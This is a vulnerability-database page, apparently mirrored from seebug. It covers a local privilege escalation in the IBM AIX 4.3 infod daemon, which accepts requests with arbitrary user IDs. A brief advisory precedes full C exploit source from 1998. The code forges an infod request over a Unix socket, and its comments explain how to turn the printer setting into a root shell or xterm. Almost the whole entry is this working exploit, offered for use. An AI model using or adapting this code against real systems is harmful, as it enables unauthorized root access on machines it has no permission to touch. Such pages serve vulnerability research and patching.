Lucene search
+L

IBM AIX <= 4.3 infod Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

IBM AIX infod vulnerability allows users to pass arbitrary UID requests, leading to privilege escalation via the infod daemon

Code

                                                source: http://www.securityfocus.com/bid/370/info

Certain versions of AIX ship with an Information Daemon, infod. This program is designed to provide information about the OS and installed ancilliary programs. The daemon which runs as root, does not check credentials which are passed to it. This allows users to pass requests with arbitrary UID&#39;s. If a user passes infod a request as root, they can goto the default options menu and change the printer command line to an alternate binary such as /bin/sh that gives privileges to the account the session was spawned under.

    /* Infod AIX exploit (k) Arisme 21/11/98  - All Rights Reversed
       Based on RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)

       Run program with the login you want to exploit :)
       When the window appears, select &#34;options&#34;, &#34;defaults&#34;, change printer
       to something more useful (like /bin/x11/xterm) and print !

       Comments,questions : [email protected] */


    #include &#60;sys/types.h&#62;
    #include &#60;sys/socket.h&#62;
    #include &#60;sys/un.h&#62;
    #include &#60;netdb.h&#62;
    #include &#60;stdio.h&#62;
    #include &#60;stdlib.h&#62;
    #include &#60;pwd.h&#62;

    #define TAILLE_BUFFER 2000
    #define SOCK_PATH &#34;/tmp/.info-help&#34;
    #define PWD &#34;/tmp&#34;

    #define KOPY &#34;Infod AIX exploit (k) Arisme 21/11/98\nAdvisory RSI.0011.11-0
9-98.AIX.INFOD (http://www.repsec.com)&#34;
    #define NOUSER &#34;Use : infofun [login]&#34;
    #define UNKNOWN &#34;User does not exist !&#34;
    #define OK &#34;Waiting for magic window ... if you have problems check the xho
st &#34;

    void send_environ(char *var,FILE *param)
    { char tempo[TAILLE_BUFFER];
      int taille;

      taille=strlen(var);
      sprintf(tempo,&#34;%c%s%c%c%c&#34;,taille,var,0,0,0);
      fwrite(tempo,1,taille+4,param);
    }

    main(int argc,char** argv)
    { struct sockaddr_un sin,expediteur;
      struct hostent *hp;
      struct passwd *info;
      int chaussette,taille_expediteur,port,taille_struct,taille_param;
      char buffer[TAILLE_BUFFER],paramz[TAILLE_BUFFER],*disp,*pointeur;
      FILE *param;

      char *HOME,*LOGIN;
      int UID,GID;

      printf(&#34;\n\n%s\n\n&#34;,KOPY);

      if (argc!=2) { printf(&#34;%s\n&#34;,NOUSER);
                     exit(1); }


      info=getpwnam(argv[1]);
      if (!info)   { printf(&#34;%s\n&#34;,UNKNOWN);
                     exit(1); }

      HOME=info-&#62;pw_dir;
      LOGIN=info-&#62;pw_name;
      UID=info-&#62;pw_uid;
      GID=info-&#62;pw_gid;

      param=fopen(&#34;/tmp/tempo.fun&#34;,&#34;wb&#34;);

      chaussette=socket(AF_UNIX,SOCK_STREAM,0);
      sin.sun_family=AF_UNIX;
      strcpy(sin.sun_path,SOCK_PATH);
      taille_struct=sizeof(struct sockaddr_un);


      if (connect(chaussette,(struct sockaddr*)&sin,taille_struct)&#60;0)
         { perror(&#34;connect&#34;);
           exit(1); }


      /* 0 0 PF_UID pf_UID 0 0 */

      sprintf(buffer,&#34;%c%c%c%c%c%c&#34;,0,0,UID&#62;&#62;8,UID-((UID&#62;&#62;8)*256),0,0);
      fwrite(buffer,1,6,param);

      /* PF_GID pf_GID */
      sprintf(buffer,&#34;%c%c&#34;,GID&#62;&#62;8,GID-((GID&#62;&#62;8)*256));
      fwrite(buffer,1,2,param);

      /* DISPLAY (259) */

      bzero(buffer,TAILLE_BUFFER);
      strcpy(buffer,getenv(&#34;DISPLAY&#34;));
      fwrite(buffer,1,259,param);

      /* LANG (1 C 0 0 0 0 0 0 0) */

      sprintf(buffer,&#34;%c%c%c%c%c%c%c%c%c&#34;,1,67,0,0,0,0,0,0,0);
      fwrite(buffer,1,9,param);

      /* size_$HOME $HOME 0 0 0 */

      send_environ(HOME,param);

      /* size_$LOGNAME $LOGNAME 0 0 0 */

      send_environ(LOGIN,param);

      /* size_$USERNAME $USERNAME 0 0 0 */

      send_environ(LOGIN,param);

      /* size_$PWD $PWD 0 0 0 */

      send_environ(PWD,param);

      /* size_DISPLAY DISPLAY 0 0 0 */

      //send_environ(ptsname(0),param);

      /* If we send our pts, info_gr will crash as it has already changed UID *
/

      send_environ(&#34;/dev/null&#34;,param);

      /* It&#39;s probably not useful to copy all these environment vars but it was
         good for debugging :) */

      sprintf(buffer,&#34;%c%c%c%c&#34;,23,0,0,0);
      fwrite(buffer,1,4,param);

      sprintf(buffer,&#34;_=./startinfo&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;TMPDIR=/tmp&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;LANG=%s&#34;,getenv(&#34;LANG&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;LOGIN=%s&#34;,LOGIN);
      send_environ(buffer,param);

      sprintf(buffer,&#34;NLSPATH=%s&#34;,getenv(&#34;NLSPATH&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;PATH=%s&#34;,getenv(&#34;PATH&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;%s&#34;,&#34;EDITOR=emacs&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;LOGNAME=%s&#34;,LOGIN);
      send_environ(buffer,param);

      sprintf(buffer,&#34;MAIL=/usr/spool/mail/%s&#34;,LOGIN);
      send_environ(buffer,param);

      sprintf(buffer,&#34;HOSTNAME=%s&#34;,getenv(&#34;HOSTNAME&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;LOCPATH=%s&#34;,getenv(&#34;LOCPATH&#34;));
      send_environ(buffer,param);
 
      sprintf(buffer,&#34;%s&#34;,&#34;PS1=(exploited !) &#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;USER=%s&#34;,LOGIN);
      send_environ(buffer,param);

      sprintf(buffer,&#34;AUTHSTATE=%s&#34;,getenv(&#34;AUTHSTATE&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;DISPLAY=%s&#34;,getenv(&#34;DISPLAY&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;SHELL=%s&#34;,getenv(&#34;SHELL&#34;));
      send_environ(buffer,param);

      sprintf(buffer,&#34;%s&#34;,&#34;ODMDIR=/etc/objrepos&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;HOME=%s&#34;,HOME);
      send_environ(buffer,param);

      sprintf(buffer,&#34;%s&#34;,&#34;TERM=vt220&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;%s&#34;,&#34;MAILMSG=[YOU HAVE NEW MAIL]&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;PWD=%s&#34;,PWD);
      send_environ(buffer,param);

      sprintf(buffer,&#34;%s&#34;,&#34;TZ=NFT-1&#34;);
      send_environ(buffer,param);

      sprintf(buffer,&#34;%s&#34;,&#34;A__z=! LOGNAME&#34;);
      send_environ(buffer,param);

      /* Start info_gr with -q parameter or the process will be run locally and
         not from the daemon ... */

      sprintf(buffer,&#34;%c%c%c%c&#34;,1,45,113,0);
      fwrite(buffer,1,4,param);

      fclose(param);

      param=fopen(&#34;/tmp/tempo.fun&#34;,&#34;rb&#34;);
      fseek(param,0,SEEK_END);
      taille_param=ftell(param);
      fseek(param,0,SEEK_SET);
      fread(paramz,1,taille_param,param);
      fclose(param);

      unlink(&#34;/tmp/tempo.fun&#34;);

      /* Thank you Mr daemon :) */

      write(chaussette,paramz,taille_param);

      printf(&#34;\n%s %s\n&#34;,OK,getenv(&#34;HOSTNAME&#34;));

      close(chaussette);
    }

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
29